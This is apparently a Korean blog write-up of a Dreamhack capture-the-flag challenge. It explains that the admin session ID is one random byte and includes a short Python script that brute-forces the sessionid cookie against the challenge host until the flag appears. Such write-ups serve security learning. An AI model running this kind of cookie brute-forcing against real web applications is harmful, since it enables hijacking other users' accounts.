보안 공부/Dreamhack.io

[Dreamhack] session(python 사용)

sh1256 2022. 2. 14. 00:19
728x90

먼저 접속 정보에 나와있는 주소로 접속합니다. 

그러면 위와 같은 사이트를 만나게 됩는데요, 첨부파일에 있는 app.py도 살펴봅시다

 

 


[app.py 분석]

11~15 

--> 로그인 정보

 

 

20~28

--> sessionid쿠키값을 통해 user가 누군지 판별함 

--> admin의 sessionid값을 알면 admin의 pw를 몰라도 admin계정으로 로그인 가능

 

 

49~53

--> sessionid값을 만들어 내는 방법

--> os.urandom(1).hex()을 통해 admin의 sessionid를 만들어냄.

--> os.urandom(1): os 모듈에는 urandom이라는 함수가 있다.
이 함수는 원하는 길이(byte단위)의 unsigned 수치값을 무작위로 만들어 준다.

 

 

 

 

 


[admin의 sessionid찾기]

1. 사실상 admin의 sessionid는 랜덤으로 만들어졌기 때문에 무차별 대입 공격을 시도한다. 

2. 무차별 대입 공격은 브루트 포스 공격(brute force attack) 또는 키 전수조사(exhaustive key search) 라고도 한다.

3. 무차별 대입 공격은 말 그대로 특정한 암호를 풀기 위해 가능한 모든 값을 대입하는 것을 의미한다.

위키백과--> https://ko.wikipedia.org/wiki/%EB%AC%B4%EC%B0%A8%EB%B3%84_%EB%8C%80%EC%9E%85_%EA%B3%B5%EA%B2%A9

 

 

import requests
import os

url ="http://host1.dreamhack.games:13515/"

while(1):
    pw=os.urandom(1).hex()#랜덤한 숫자 생성
    print("search_str: "+pw)
    cookies={'sessionid':pw}
    response= requests.get(url, cookies=cookies)
    print(response.text)#flag를 볼 수 있게 html를 출력한다. 
        
    if response.text.find("flag") !=-1:#html파일에서 'flag'문자열을 찾을 시 종료
        print("pw: "+pw)
        break

출력창

 

그렇게 해서 얻은 flag를 입력하면 성공!